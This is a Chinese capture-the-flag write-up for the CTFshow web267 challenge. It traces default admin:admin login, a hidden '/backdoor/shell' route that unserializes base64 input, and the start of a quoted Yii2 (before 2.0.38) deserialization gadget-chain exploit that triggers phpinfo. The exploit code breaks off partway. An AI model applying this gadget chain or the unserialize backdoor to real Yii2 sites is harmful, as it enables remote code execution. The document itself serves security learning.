思路
进去是一个网页,在login页面试了下密码,发现是admin:admin,成功登录,但发现没什么改变
一个个页面查看源代码,最后再about页面中发现提示

访问?r=site%2Fabout&view-source拿到提示
///backdoor/shell
unserialize(base64_decode($_GET['code']))
刚开始不知道怎么去用,后面想到%2F就是/,尝试了下r=/backdoor/shell,提示要加上参数,然后思路又断了,应该是信息收集的不够

用Wappalyzer插件发现用的是Yli框架,又再源码中得知他用的是2.0版本,网上搜下有没有相关漏洞


参考博客:https://blog.csdn.net/xuandao_ahfengren/article/details/111259943中给出的exp,适用于Yii2 2.0.38 之前的版本
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo'

本文详细记录了解决CTFshow中web267反序列化问题的过程。通过尝试登录并分析源代码,作者在about页面找到线索,使用%2F进行路径遍历。了解到网站使用Yli框架2.0版本,进一步搜索该框架的漏洞信息,找到了针对Yii2 2.0.38之前版本的exploit,最终成功触发phpinfo页面。

1945

被折叠的 条评论
为什么被折叠?



